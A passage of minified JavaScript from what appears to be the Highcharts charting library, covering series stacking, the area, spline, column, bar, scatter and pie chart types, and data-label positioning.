a=c[d],a)a[e].render(f)};ja.prototype.resetStacks=function(){var a=this.stacks,b,c;if(!this.isXAxis)for(b in a)for(c in a[b])a[b][c].touched<this.stacksTouched?(a[b][c].destroy(),delete a[b][c]):(a[b][c].total=null,a[b][c].cum=0)};ja.prototype.cleanStacks=function(){var a,b,c;if(!this.isXAxis){if(this.oldStacks)a=this.stacks=\nthis.oldStacks;for(b in a)for(c in a[b])a[b][c].cum=a[b][c].total}};R.prototype.setStackedPoints=function(){if(this.options.stacking&&!(this.visible!==!0&&this.chart.options.chart.ignoreHiddenSeries!==!1)){var a=this.processedXData,b=this.processedYData,c=[],d=b.length,e=this.options,f=e.threshold,g=e.startFromThreshold?f:0,h=e.stack,e=e.stacking,i=this.stackKey,k=\"-\"+i,j=this.negStacks,m=this.yAxis,l=m.stacks,n=m.oldStacks,o,r,q,y,v,w,u;m.stacksTouched+=1;for(v=0;v<d;v++){w=a[v];u=b[v];o=this.getStackIndicator(o,\nw,this.index);y=o.key;q=(r=j&&u<(g?0:f))?k:i;l[q]||(l[q]={});if(!l[q][w])n[q]&&n[q][w]?(l[q][w]=n[q][w],l[q][w].total=null):l[q][w]=new Kb(m,m.options.stackLabels,r,w,h);q=l[q][w];q.points[y]=[p(q.cum,g)];q.touched=m.stacksTouched;o.index>0&&this.singleStacks===!1&&(q.points[y][0]=q.points[this.index+\",\"+w+\",0\"][0]);e===\"percent\"?(r=r?i:k,j&&l[r]&&l[r][w]?(r=l[r][w],q.total=r.total=s(r.total,q.total)+P(u)||0):q.total=fa(q.total+(P(u)||0))):q.total=fa(q.total+(u||0));q.cum=p(q.cum,g)+(u||0);q.points[y].push(q.cum);\nc[v]=q.cum}if(e===\"percent\")m.usePercentage=!0;this.stackedYData=c;m.oldStacks={}}};R.prototype.setPercentStacks=function(){var a=this,b=a.stackKey,c=a.yAxis.stacks,d=a.processedXData,e;o([b,\"-\"+b],function(b){var f;for(var g=d.length,h,i;g--;)if(h=d[g],e=a.getStackIndicator(e,h,a.index),f=(i=c[b]&&c[b][h])&&i.points[e.key],h=f)i=i.total?100/i.total:0,h[0]=fa(h[0]*i),h[1]=fa(h[1]*i),a.stackedYData[g]=h[1]})};R.prototype.getStackIndicator=function(a,b,c){!q(a)||a.x!==b?a={x:b,index:0}:a.index++;a.key=\n[c,b,a.index].join(\",\");return a};v(hb.prototype,{addSeries:function(a,b,c){var d,e=this;a&&(b=p(b,!0),H(e,\"addSeries\",{options:a},function(){d=e.initSeries(a);e.isDirtyLegend=!0;e.linkSeries();b&&e.redraw(c)}));return d},addAxis:function(a,b,c,d){var e=b?\"xAxis\":\"yAxis\",f=this.options;new ja(this,D(a,{index:this[e].length,isX:b}));f[e]=ta(f[e]||{});f[e].push(a);p(c,!0)&&this.redraw(d)},showLoading:function(a){var b=this,c=b.options,d=b.loadingDiv,e=c.loading,f=function(){d&&M(d,{left:b.plotLeft+\n\"px\",top:b.plotTop+\"px\",width:b.plotWidth+\"px\",height:b.plotHeight+\"px\"})};if(!d)b.loadingDiv=d=$(Ma,{className:\"highcharts-loading\"},v(e.style,{zIndex:10,display:\"none\"}),b.container),b.loadingSpan=$(\"span\",null,e.labelStyle,d),N(b,\"redraw\",f);b.loadingSpan.innerHTML=a||c.lang.loading;if(!b.loadingShown)M(d,{opacity:0,display:\"\"}),Xa(d,{opacity:e.style.opacity},{duration:e.showDuration||0}),b.loadingShown=!0;f()},hideLoading:function(){var a=this.options,b=this.loadingDiv;b&&Xa(b,{opacity:0},{duration:a.loading.hideDuration||\n100,complete:function(){M(b,{display:\"none\"})}});this.loadingShown=!1}});v(Ia.prototype,{update:function(a,b,c,d){function e(){f.applyOptions(a);if(f.y===null&&h)f.graphic=h.destroy();if(Z(a)&&!Ja(a))f.redraw=function(){if(h&&h.element&&a&&a.marker&&a.marker.symbol)f.graphic=h.destroy();if(a&&a.dataLabels&&f.dataLabel)f.dataLabel=f.dataLabel.destroy();f.redraw=null};i=f.index;g.updateParallelArrays(f,i);if(m&&f.name)m[f.x]=f.name;j.data[i]=Z(j.data[i])?f.options:a;g.isDirty=g.isDirtyData=!0;if(!g.fixedBox&&\ng.hasCartesianSeries)k.isDirtyBox=!0;if(j.legendType===\"point\")k.isDirtyLegend=!0;b&&k.redraw(c)}var f=this,g=f.series,h=f.graphic,i,k=g.chart,j=g.options,m=g.xAxis&&g.xAxis.names,b=p(b,!0);d===!1?e():f.firePointEvent(\"update\",{options:a},e)},remove:function(a,b){this.series.removePoint(qa(this,this.series.data),a,b)}});v(R.prototype,{addPoint:function(a,b,c,d){var e=this,f=e.options,g=e.data,h=e.graph,i=e.area,k=e.chart,j=e.xAxis&&e.xAxis.names,m=h&&h.shift||0,l=[\"graph\",\"area\"],h=f.data,n,t=e.xData;\nVa(d,k);if(c){for(d=e.zones.length;d--;)l.push(\"zoneGraph\"+d,\"zoneArea\"+d);o(l,function(a){if(e[a])e[a].shift=m+(f.step?2:1)})}if(i)i.isArea=!0;b=p(b,!0);i={series:e};e.pointClass.prototype.applyOptions.apply(i,[a]);l=i.x;d=t.length;if(e.requireSorting&&l<t[d-1])for(n=!0;d&&t[d-1]>l;)d--;e.updateParallelArrays(i,\"splice\",d,0,0);e.updateParallelArrays(i,d);if(j&&i.name)j[l]=i.name;h.splice(d,0,a);n&&(e.data.splice(d,0,null),e.processData());f.legendType===\"point\"&&e.generatePoints();c&&(g[0]&&g[0].remove?\ng[0].remove(!1):(g.shift(),e.updateParallelArrays(i,\"shift\"),h.shift()));e.isDirty=!0;e.isDirtyData=!0;b&&(e.getAttribs(),k.redraw())},removePoint:function(a,b,c){var d=this,e=d.data,f=e[a],g=d.points,h=d.chart,i=function(){e.length===g.length&&g.splice(a,1);e.splice(a,1);d.options.data.splice(a,1);d.updateParallelArrays(f||{series:d},\"splice\",a,1);f&&f.destroy();d.isDirty=!0;d.isDirtyData=!0;b&&h.redraw()};Va(c,h);b=p(b,!0);f?f.firePointEvent(\"remove\",null,i):i()},remove:function(a,b){var c=this,\nd=c.chart;H(c,\"remove\",null,function(){c.destroy();d.isDirtyLegend=d.isDirtyBox=!0;d.linkSeries();p(a,!0)&&d.redraw(b)})},update:function(a,b){var c=this,d=this.chart,e=this.userOptions,f=this.type,g=I[f].prototype,h=[\"group\",\"markerGroup\",\"dataLabelsGroup\"],i;if(a.type&&a.type!==f||a.zIndex!==void 0)h.length=0;o(h,function(a){h[a]=c[a];delete c[a]});a=D(e,{animation:!1,index:this.index,pointStart:this.xData[0]},{data:this.options.data},a);this.remove(!1);for(i in g)this[i]=B;v(this,I[a.type||f].prototype);\no(h,function(a){c[a]=h[a]});this.init(d,a);d.linkSeries();p(b,!0)&&d.redraw(!1)}});v(ja.prototype,{update:function(a,b){var c=this.chart,a=c.options[this.coll][this.options.index]=D(this.userOptions,a);this.destroy(!0);this._addedPlotLB=this.chart._labelPanes=B;this.init(c,v(a,{events:B}));c.isDirtyBox=!0;p(b,!0)&&c.redraw()},remove:function(a){for(var b=this.chart,c=this.coll,d=this.series,e=d.length;e--;)d[e]&&d[e].remove(!1);ma(b.axes,this);ma(b[c],this);b.options[c].splice(this.options.index,\n1);o(b[c],function(a,b){a.options.index=b});this.destroy();b.isDirtyBox=!0;p(a,!0)&&b.redraw()},setTitle:function(a,b){this.update({title:a},b)},setCategories:function(a,b){this.update({categories:a},b)}});var xa=na(R);I.line=xa;ba.area=D(ea,{softThreshold:!1,threshold:0});var sa=na(R,{type:\"area\",singleStacks:!1,getSegments:function(){var a=this,b=[],c=[],d=[],e=this.xAxis,f=this.yAxis,g=f.stacks[this.stackKey],h={},i,k,j=this.points,m=this.options.connectNulls,l,n,p;if(this.options.stacking&&!this.cropped){for(n=\n0;n<j.length;n++)h[j[n].x]=j[n];for(p in g)g[p].total!==null&&d.push(+p);d.sort(function(a,b){return a-b});o(d,function(b){var d=null,j;if(!m||h[b]&&h[b].y!==null)if(h[b])c.push(h[b]);else{for(n=a.index;n<=f.series.length;n++)if(l=a.getStackIndicator(null,b,n),j=g[b].points[l.key]){d=j[1];break}i=e.translate(b);k=f.getThreshold(d);c.push({y:null,plotX:i,clientX:i,plotY:k,yBottom:k,onMouseOver:va})}});c.length&&b.push(c)}else R.prototype.getSegments.call(this),b=this.segments;this.segments=b},getSegmentPath:function(a){var b=\nR.prototype.getSegmentPath.call(this,a),c=[].concat(b),d,e=this.options;d=b.length;var f=this.yAxis.getThreshold(e.threshold),g;d===3&&c.push(\"L\",b[1],b[2]);if(e.stacking&&!this.closedStacks)for(d=a.length-1;d>=0;d--)g=p(a[d].yBottom,f),d<a.length-1&&e.step&&c.push(a[d+1].plotX,g),c.push(a[d].plotX,g);else this.closeSegment(c,a,f);this.areaPath=this.areaPath.concat(c);return b},closeSegment:function(a,b,c){a.push(\"L\",b[b.length-1].plotX,c,\"L\",b[0].plotX,c)},drawGraph:function(){this.areaPath=[];R.prototype.drawGraph.apply(this);\nvar a=this,b=this.areaPath,c=this.options,d=[[\"area\",this.color,c.fillColor]];o(this.zones,function(b,f){d.push([\"zoneArea\"+f,b.color||a.color,b.fillColor||c.fillColor])});o(d,function(d){var f=d[0],g=a[f];g?g.animate({d:b}):(g={fill:d[2]||d[1],zIndex:0},d[2]||(g[\"fill-opacity\"]=c.fillOpacity||0.75),a[f]=a.chart.renderer.path(b).attr(g).add(a.group))})},drawLegendSymbol:K.drawRectangle});I.area=sa;ba.spline=D(ea);xa=na(R,{type:\"spline\",getPointSpline:function(a,b,c){var d=b.plotX,e=b.plotY,f=a[c-\n1],g=a[c+1],h,i,k,j;if(f&&g){a=f.plotY;k=g.plotX;var g=g.plotY,m;h=(1.5*d+f.plotX)/2.5;i=(1.5*e+a)/2.5;k=(1.5*d+k)/2.5;j=(1.5*e+g)/2.5;m=(j-i)*(k-d)/(k-h)+e-j;i+=m;j+=m;i>a&&i>e?(i=s(a,e),j=2*e-i):i<a&&i<e&&(i=E(a,e),j=2*e-i);j>g&&j>e?(j=s(g,e),i=2*e-j):j<g&&j<e&&(j=E(g,e),i=2*e-j);b.rightContX=k;b.rightContY=j}c?(b=[\"C\",f.rightContX||f.plotX,f.rightContY||f.plotY,h||d,i||e,d,e],f.rightContX=f.rightContY=null):b=[\"M\",d,e];return b}});I.spline=xa;ba.areaspline=D(ba.area);sa=sa.prototype;xa=na(xa,{type:\"areaspline\",\nclosedStacks:!0,getSegmentPath:sa.getSegmentPath,closeSegment:sa.closeSegment,drawGraph:sa.drawGraph,drawLegendSymbol:K.drawRectangle});I.areaspline=xa;ba.column=D(ea,{borderColor:\"#FFFFFF\",borderRadius:0,groupPadding:0.2,marker:null,pointPadding:0.1,minPointLength:0,cropThreshold:50,pointRange:null,states:{hover:{brightness:0.1,shadow:!1,halo:!1},select:{color:\"#C0C0C0\",borderColor:\"#000000\",shadow:!1}},dataLabels:{align:null,verticalAlign:null,y:null},softThreshold:!1,startFromThreshold:!0,stickyTracking:!1,\ntooltip:{distance:6},threshold:0});xa=na(R,{type:\"column\",pointAttrToOptions:{stroke:\"borderColor\",fill:\"color\",r:\"borderRadius\"},cropShoulder:0,directTouch:!0,trackerGroups:[\"group\",\"dataLabelsGroup\"],negStacks:!0,init:function(){R.prototype.init.apply(this,arguments);var a=this,b=a.chart;b.hasRendered&&o(b.series,function(b){if(b.type===a.type)b.isDirty=!0})},getColumnMetrics:function(){var a=this,b=a.options,c=a.xAxis,d=a.yAxis,e=c.reversed,f,g={},h=0;b.grouping===!1?h=1:o(a.chart.series,function(b){var c=\nb.options,e=b.yAxis,i;if(b.type===a.type&&b.visible&&d.len===e.len&&d.pos===e.pos)c.stacking?(f=b.stackKey,g[f]===B&&(g[f]=h++),i=g[f]):c.grouping!==!1&&(i=h++),b.columnIndex=i});var i=E(P(c.transA)*(c.ordinalSlope||b.pointRange||c.closestPointRange||c.tickInterval||1),c.len),k=i*b.groupPadding,j=(i-2*k)/h,b=E(b.maxPointWidth||c.len,p(b.pointWidth,j*(1-2*b.pointPadding)));a.columnMetrics={width:b,offset:(j-b)/2+(k+((a.columnIndex||0)+(e?1:0))*j-i/2)*(e?-1:1)};return a.columnMetrics},crispCol:function(a,\nb,c,d){var e=this.chart,f=this.borderWidth,g=-(f%2?0.5:0),f=f%2?0.5:1;e.inverted&&e.renderer.isVML&&(f+=1);c=Math.round(a+c)+g;a=Math.round(a)+g;c-=a;d=Math.round(b+d)+f;g=P(b)<=0.5&&d>0.5;b=Math.round(b)+f;d-=b;g&&(b-=1,d+=1);return{x:a,y:b,width:c,height:d}},translate:function(){var a=this,b=a.chart,c=a.options,d=a.borderWidth=p(c.borderWidth,a.closestPointRange*a.xAxis.transA<2?0:1),e=a.yAxis,f=a.translatedThreshold=e.getThreshold(c.threshold),g=p(c.minPointLength,5),h=a.getColumnMetrics(),i=h.width,\nk=a.barW=s(i,1+2*d),j=a.pointXOffset=h.offset;b.inverted&&(f-=0.5);c.pointPadding&&(k=ua(k));R.prototype.translate.apply(a);o(a.points,function(c){var d=E(p(c.yBottom,f),9E4),h=999+P(d),h=E(s(-h,c.plotY),e.len+h),o=c.plotX+j,q=k,v=E(h,d),y,u=s(h,d)-v;P(u)<g&&g&&(u=g,y=!e.reversed&&!c.negative||e.reversed&&c.negative,v=P(v-f)>g?d-g:f-(y?g:0));c.barX=o;c.pointWidth=i;c.tooltipPos=b.inverted?[e.len+e.pos-b.plotLeft-h,a.xAxis.len-o-q/2,u]:[o+q/2,h+e.pos-b.plotTop,u];c.shapeType=\"rect\";c.shapeArgs=a.crispCol(o,\nv,q,u)})},getSymbol:va,drawLegendSymbol:K.drawRectangle,drawGraph:va,drawPoints:function(){var a=this,b=this.chart,c=a.options,d=b.renderer,e=c.animationLimit||250,f,g;o(a.points,function(h){var i=h.plotY,k=h.graphic;if(i!==B&&!isNaN(i)&&h.y!==null)f=h.shapeArgs,i=q(a.borderWidth)?{\"stroke-width\":a.borderWidth}:{},g=h.pointAttr[h.selected?\"select\":\"\"]||a.pointAttr[\"\"],k?(Pa(k),k.attr(i).attr(g)[b.pointCount<e?\"animate\":\"attr\"](D(f))):h.graphic=d[h.shapeType](f).attr(i).attr(g).add(h.group||a.group).shadow(c.shadow,\nnull,c.stacking&&!c.borderRadius);else if(k)h.graphic=k.destroy()})},animate:function(a){var b=this.yAxis,c=this.options,d=this.chart.inverted,e={};if(da)a?(e.scaleY=0.001,a=E(b.pos+b.len,s(b.pos,b.toPixels(c.threshold))),d?e.translateX=a-b.len:e.translateY=a,this.group.attr(e)):(e.scaleY=1,e[d?\"translateX\":\"translateY\"]=b.pos,this.group.animate(e,this.options.animation),this.animate=null)},remove:function(){var a=this,b=a.chart;b.hasRendered&&o(b.series,function(b){if(b.type===a.type)b.isDirty=!0});\nR.prototype.remove.apply(a,arguments)}});I.column=xa;ba.bar=D(ba.column);sa=na(xa,{type:\"bar\",inverted:!0});I.bar=sa;ba.scatter=D(ea,{lineWidth:0,marker:{enabled:!0},tooltip:{headerFormat:'<span style=\"color:{point.color}\">\\u25cf</span> <span style=\"font-size: 10px;\"> {series.name}</span><br/>',pointFormat:\"x: <b>{point.x}</b><br/>y: <b>{point.y}</b><br/>\"}});sa=na(R,{type:\"scatter\",sorted:!1,requireSorting:!1,noSharedTooltip:!0,trackerGroups:[\"group\",\"markerGroup\",\"dataLabelsGroup\"],takeOrdinalPosition:!1,\nkdDimensions:2,drawGraph:function(){this.options.lineWidth&&R.prototype.drawGraph.call(this)}});I.scatter=sa;ba.pie=D(ea,{borderColor:\"#FFFFFF\",borderWidth:1,center:[null,null],clip:!1,colorByPoint:!0,dataLabels:{distance:30,enabled:!0,formatter:function(){return this.y===null?void 0:this.point.name},x:0},ignoreHiddenPoint:!0,legendType:\"point\",marker:null,size:null,showInLegend:!1,slicedOffset:10,states:{hover:{brightness:0.1,shadow:!1}},stickyTracking:!1,tooltip:{followPointer:!0}});ea={type:\"pie\",\nisCartesian:!1,pointClass:na(Ia,{init:function(){Ia.prototype.init.apply(this,arguments);var a=this,b;a.name=p(a.name,\"Slice\");b=function(b){a.slice(b.type===\"select\")};N(a,\"select\",b);N(a,\"unselect\",b);return a},setVisible:function(a,b){var c=this,d=c.series,e=d.chart,f=d.options.ignoreHiddenPoint,b=p(b,f);if(a!==c.visible){c.visible=c.options.visible=a=a===B?!c.visible:a;d.options.data[qa(c,d.data)]=c.options;o([\"graphic\",\"dataLabel\",\"connector\",\"shadowGroup\"],function(b){if(c[b])c[b][a?\"show\":\n\"hide\"](!0)});c.legendItem&&e.legend.colorizeItem(c,a);!a&&c.state===\"hover\"&&c.setState(\"\");if(f)d.isDirty=!0;b&&e.redraw()}},slice:function(a,b,c){var d=this.series;Va(c,d.chart);p(b,!0);this.sliced=this.options.sliced=a=q(a)?a:!this.sliced;d.options.data[qa(this,d.data)]=this.options;a=a?this.slicedTranslation:{translateX:0,translateY:0};this.graphic.animate(a);this.shadowGroup&&this.shadowGroup.animate(a)},haloPath:function(a){var b=this.shapeArgs,c=this.series.chart;return this.sliced||!this.visible?\n[]:this.series.chart.renderer.symbols.arc(c.plotLeft+b.x,c.plotTop+b.y,b.r+a,b.r+a,{innerR:this.shapeArgs.r,start:b.start,end:b.end})}}),requireSorting:!1,directTouch:!0,noSharedTooltip:!0,trackerGroups:[\"group\",\"dataLabelsGroup\"],axisTypes:[],pointAttrToOptions:{stroke:\"borderColor\",\"stroke-width\":\"borderWidth\",fill:\"color\"},animate:function(a){var b=this,c=b.points,d=b.startAngleRad;if(!a)o(c,function(a){var c=a.graphic,g=a.shapeArgs;c&&(c.attr({r:a.startR||b.center[3]/2,start:d,end:d}),c.animate({r:g.r,\nstart:g.start,end:g.end},b.options.animation))}),b.animate=null},updateTotals:function(){var a,b=0,c=this.points,d=c.length,e,f=this.options.ignoreHiddenPoint;for(a=0;a<d;a++)e=c[a],b+=f&&!e.visible?0:e.y;this.total=b;for(a=0;a<d;a++)e=c[a],e.percentage=b>0&&(e.visible||!f)?e.y/b*100:0,e.total=b},generatePoints:function(){R.prototype.generatePoints.call(this);this.updateTotals()},translate:function(a){this.generatePoints();var b=0,c=this.options,d=c.slicedOffset,e=d+c.borderWidth,f,g,h,i=c.startAngle||\n0,k=this.startAngleRad=pa/180*(i-90),i=(this.endAngleRad=pa/180*(p(c.endAngle,i+360)-90))-k,j=this.points,m=c.dataLabels.distance,c=c.ignoreHiddenPoint,l,n=j.length,o;if(!a)this.center=a=this.getCenter();this.getX=function(b,c){h=V.asin(E((b-a[1])/(a[2]/2+m),1));return a[0]+(c?-1:1)*T(h)*(a[2]/2+m)};for(l=0;l<n;l++){o=j[l];f=k+b*i;if(!c||o.visible)b+=o.percentage/100;g=k+b*i;o.shapeType=\"arc\";o.shapeArgs={x:a[0],y:a[1],r:a[2]/2,innerR:a[3]/2,start:A(f*1E3)/1E3,end:A(g*1E3)/1E3};h=(g+f)/2;h>1.5*pa?\nh-=2*pa:h<-pa/2&&(h+=2*pa);o.slicedTranslation={translateX:A(T(h)*d),translateY:A(aa(h)*d)};f=T(h)*a[2]/2;g=aa(h)*a[2]/2;o.tooltipPos=[a[0]+f*0.7,a[1]+g*0.7];o.half=h<-pa/2||h>pa/2?1:0;o.angle=h;e=E(e,m/2);o.labelPos=[a[0]+f+T(h)*m,a[1]+g+aa(h)*m,a[0]+f+T(h)*e,a[1]+g+aa(h)*e,a[0]+f,a[1]+g,m<0?\"center\":o.half?\"right\":\"left\",h]}},drawGraph:null,drawPoints:function(){var a=this,b=a.chart.renderer,c,d,e=a.options.shadow,f,g,h,i;if(e&&!a.shadowGroup)a.shadowGroup=b.g(\"shadow\").add(a.group);o(a.points,\nfunction(k){if(k.y!==null){d=k.graphic;h=k.shapeArgs;f=k.shadowGroup;g=k.pointAttr[k.selected?\"select\":\"\"];if(!g.stroke)g.stroke=g.fill;if(e&&!f)f=k.shadowGroup=b.g(\"shadow\").add(a.shadowGroup);c=k.sliced?k.slicedTranslation:{translateX:0,translateY:0};f&&f.attr(c);if(d)d.setRadialReference(a.center).attr(g).animate(v(h,c));else{i={\"stroke-linejoin\":\"round\"};if(!k.visible)i.visibility=\"hidden\";k.graphic=d=b[k.shapeType](h).setRadialReference(a.center).attr(g).attr(i).attr(c).add(a.group).shadow(e,\nf)}}})},searchPoint:va,sortByAngle:function(a,b){a.sort(function(a,d){return a.angle!==void 0&&(d.angle-a.angle)*b})},drawLegendSymbol:K.drawRectangle,getCenter:Cb.getCenter,getSymbol:va};ea=na(R,ea);I.pie=ea;R.prototype.drawDataLabels=function(){var a=this,b=a.options,c=b.cursor,d=b.dataLabels,e=a.points,f,g,h=a.hasRendered||0,i,k,j=a.chart.renderer;if(d.enabled||a._hasPointLabels)a.dlProcessOptions&&a.dlProcessOptions(d),k=a.plotGroup(\"dataLabelsGroup\",\"data-labels\",d.defer?\"hidden\":\"visible\",d.zIndex||\n6),p(d.defer,!0)&&(k.attr({opacity:+h}),h||N(a,\"afterAnimate\",function(){a.visible&&k.show();k[b.animation?\"animate\":\"attr\"]({opacity:1},{duration:200})})),g=d,o(e,function(e){var h,n=e.dataLabel,o,r,s=e.connector,u=!0,x,w={};f=e.dlOptions||e.options&&e.options.dataLabels;h=p(f&&f.enabled,g.enabled)&&e.y!==null;if(n&&!h)e.dataLabel=n.destroy();else if(h){d=D(g,f);x=d.style;h=d.rotation;o=e.getLabelConfig();i=d.format?La(d.format,o):d.formatter.call(o,d);x.color=p(d.color,x.color,a.color,\"black\");\nif(n)if(q(i))n.attr({text:i}),u=!1;else{if(e.dataLabel=n=n.destroy(),s)e.connector=s.destroy()}else if(q(i)){n={fill:d.backgroundColor,stroke:d.borderColor,\"stroke-width\":d.borderWidth,r:d.borderRadius||0,rotation:h,padding:d.padding,zIndex:1};if(x.color===\"contrast\")w.color=d.inside||d.distance<0||b.stacking?j.getContrast(e.color||a.color):\"#000000\";if(c)w.cursor=c;for(r in n)n[r]===B&&delete n[r];n=e.dataLabel=j[h?\"text\":\"label\"](i,0,-9999,d.shape,null,null,d.useHTML).attr(n).css(v(x,w)).add(k).shadow(d.shadow)}n&&\na.alignDataLabel(e,n,d,null,u)}})};R.prototype.alignDataLabel=function(a,b,c,d,e){var f=this.chart,g=f.inverted,h=p(a.plotX,-9999),i=p(a.plotY,-9999),k=b.getBBox(),j=f.renderer.fontMetrics(c.style.fontSize).b,m=this.visible&&(a.series.forceDL||f.isInsidePlot(h,A(i),g)||d&&f.isInsidePlot(h,g?d.x+1:d.y+d.height-1,g));if(m)d=v({x:g?f.plotWidth-i:h,y:A(g?f.plotHeight-h:i),width:0,height:0},d),v(c,{width:k.width,height:k.height}),c.rotation?(a=f.renderer.rotCorr(j,c.rotation),b[e?\"attr\":\"animate\"]({x:d.x+\nc.x+d.width/2+a.x,y:d.y+c.y+d.height/2}).attr({align:c.align})):(b.align(c,null,d),g=b.alignAttr,p(c.overflow,\"justify\")===\"justify\"?this.justifyDataLabel(b,c,g,k,d,e):p(c.crop,!0)&&(m=f.isInsidePlot(g.x,g.y)&&f.isInsidePlot(g.x+k.width,g.y+k.height)),c.shape&&b.attr({anchorX:a.plotX,anchorY:a.plotY}));if(!m)Pa(b),b.attr({y:-9999}),b.placed=!1};R.prototype.justifyDataLabel=function(a,b,c,d,e,f){var g=this.chart,h=b.align,i=b.verticalAlign,k,j,m=a.box?0:a.padding||0;k=c.x+m;if(k<0)h===\"right\"?b.align=\n\"left\":b.x=-k,j=!0;k=c.x+d.width-m;if(k>g.plotWidth)h===\"left\"?b.align=\"right\":b.x=g.plotWidth-k,j=!0;k=c.y+m;if(k<0)i===\"bottom\"?b.verticalAlign=\"top\":b.y=-k,j=!0;k=c.y+d.height-m;if(k>g.plotHeight)i===\"top\"?b.verticalAlign=\"bottom\":b.y=g.plotHeight-k,j=!0;if(j)a.placed=!f,a.align(b,null,e)};if(I.pie)I.pie.prototype.drawDataLabels=function(){var a=this,b=a.data,c,d=a.chart,e=a.options.dataLabels,f=p(e.connectorPadding,10),g=p(e.connectorWidth,1),h=d.plotWidth,i=d.plotHeight,k,j,m=p(e.softConnector,\n!0),l=e.distance,n=a.center,q=n[2]/2,r=n[1],v=l>0,u,x,w,B=[[],[]],z,C,D,F,J,G=[0,0,0,0],M=function(a,b){return b.y-a.y};if(a.visible&&(e.enabled||a._hasPointLabels)){R.prototype.drawDataLabels.apply(a);o(b,function(a){a.dataLabel&&a.visible&&B[a.half].push(a)});for(F=2;F--;){var H=[],N=[],I=B[F],L=I.length,K;if(L){a.sortByAngle(I,F-0.5);for(J=b=0;!b&&I[J];)b=I[J]&&I[J].dataLabel&&(I[J].dataLabel.getBBox().height||21),J++;if(l>0){x=E(r+q+l,d.plotHeight);for(J=s(0,r-q-l);J<=x;J+=b)H.push(J);x=H.length;\nif(L>x){c=[].concat(I);c.sort(M);for(J=L;J--;)c[J].rank=J;for(J=L;J--;)I[J].rank>=x&&I.splice(J,1);L=I.length}for(J=0;J<L;J++){c=I[J];w=c.labelPos;c=9999;var Q,O;for(O=0;O<x;O++)Q=P(H[O]-w[1]),Q<c&&(c=Q,K=O);if(K<J&&H[J]!==null)K=J;else for(x<L-J+K&&H[J]!==null&&(K=x-L+J);H[K]===null;)K++;N.push({i:K,y:H[K]});H[K]=null}N.sort(M)}for(J=0;J<L;J++){c=I[J];w=c.labelPos;u=c.dataLabel;D=c.visible===!1?\"hidden\":\"inherit\";c=w[1];if(l>0){if(x=N.pop(),K=x.i,C=x.y,c>C&&H[K+1]!==null||c<C&&H[K-1]!==null)C=E(s(0,\nc),d.plotHeight)}else C=c;z=e.justify?n[0]+(F?-1:1)*(q+l):a.getX(C===r-q-l||C===r+q+l?c:C,F);u._attr={visibility:D,align:w[6]};u._pos={x:z+e.x+({left:f,right:-f}[w[6]]||0),y:C+e.y-10};u.connX=z;u.connY=C;if(this.options.size===null)x=u.width,z-x<f?G[3]=s(A(x-z+f),G[3]):z+x>h-f&&(G[1]=s(A(z+x-h+f),G[1])),C-b/2<0?G[0]=s(A(-C+b/2),G[0]):C+b/2>i&&(G[2]=s(A(C+b/2-i),G[2]))}}}if(Da(G)===0||this.verifyDataLabelOverflow(G))this.placeDataLabels(),v&&g&&o(this.points,function(b){k=b.connector;w=b.labelPos;\nif((u=b.dataLabel)&&u._pos&&b.visible)D=u._attr.visibility,z=u.connX,C=u.connY,j=m?[\"M\",z+(w[6]===\"left\"?5:-5),C,\"C\",z,C,2*w[2]-w[4],2*w[3]-w[5],w[2],w[3],\"L\",w[4],w[5]]:[\"M\",z+(w[6]===\"left\"?5:-5),C,\"L\",w[2],w[3],\"L\",w[4],w[5]],k?(k.animate({d:j}),k.attr(\"visibility\",D)):b.connector=k=a.chart.renderer.path(j).attr({\"stroke-width\":g,stroke:e.connectorColor||b.color||\"#606060\",visibility:D}).add(a.dataLabelsGroup);else if(k)b.connector=k.destroy()})}},I.pie.prototype.placeDataLabels=function(){o(this.points,\nfunction(a){var b=a.dataLabel;if(b&&a.visible)(a=b._pos)?(b.attr(b._attr),b[b.moved?\"animate\":\"attr\"](a),b.moved=!0):b&&b.attr({y:-9999})})},I.pie.prototype.alignDataLabel=va,I.pie.prototype.verifyDataLabelOverflow=function(a){var b=this.center,c=this.options,d=c.center,e=c.minSize||80,f=e,g;d[0]!==null?f=s(b[2]-s(a[1],a[3]),e):(f=s(b[2]-a[1]-a[3],e),b[0]+=(a[3]-a[1])/2);d[1]!==null?f=s(E(f,b[2]-s(a[0],a[2])),e):(f=s(E(f,b[2]-a[0]-a[2]),e),b[1]+=(a[0]-a[2])/2);f<b[2]?(b[2]=f,b[3]=Math.min(/%$/.test(c.innerSize||\n0)?f*parseFloat(c.innerSize||0)/100:parseFloat(c.innerSize||0),f),this.translate(b),o(this.points,function(a){if(a.dataLabel)a.dataLabel._pos=null}),this.drawDataLabels&&this.drawDataLabels()):g=!0;return g};if(I.column)I.column.prototype.alignDataLabel=function(a,b,c,d,e){var f=this.chart.inverted,g=a.series,h=a.dlBox||a.shapeArgs,i=p(a.below,a.plotY>p(this.translatedThreshold,g.yAxis.len)),k=p(c.inside,!!this.options.stacking);if(h){d=D(h);if(d.y<0)d.height+=d.y,d.y=0;h=d.y+d.height-g.yAxis.len;\nh>0&&(d.height-=h);f&&(d={x:g.yAxis.len-d.y-d.height,y:g.xAxis.len-d.x-d.width,width:d.height,height:d.width});if(!k)f?(d.x+=i?0:d.width,d.width=0):(d.y+=i?d.height:0,d.height=0)}c.align=p(c.align,!f||k?\"center\":i?\"right\":\"left\");c.verticalAlign=p(c.verticalAlign,f||k?\"middle\":i?\"top\":\"bottom\");R.prototype.alignDataLabel.call(this,a,b,c,d,e)};(function(a){var b=a.Chart,c=a.each,d=a.pick,e=a.addEvent;b.prototype.callbacks.push(function(a){function b(){var e=[];c(a.series,function(a){var b=a.options.dataLabels,\nf=a.dataLabelCollections||[\"dataLabel\"];(b.enabled||a._hasPointLabels)&&!b.allowOverlap&&a.visible&&c(f,function(b){c(a.points,function(a){if(a[b])a[b].labelrank=d(a.labelrank,a.shapeArgs&&a.shapeArgs.height),e.push(a[b])})})});a.hideOverlappingLabels(e)}b();e(a,\"redraw\",b)});b.prototype.hideOverlappingLabels=function(a){var 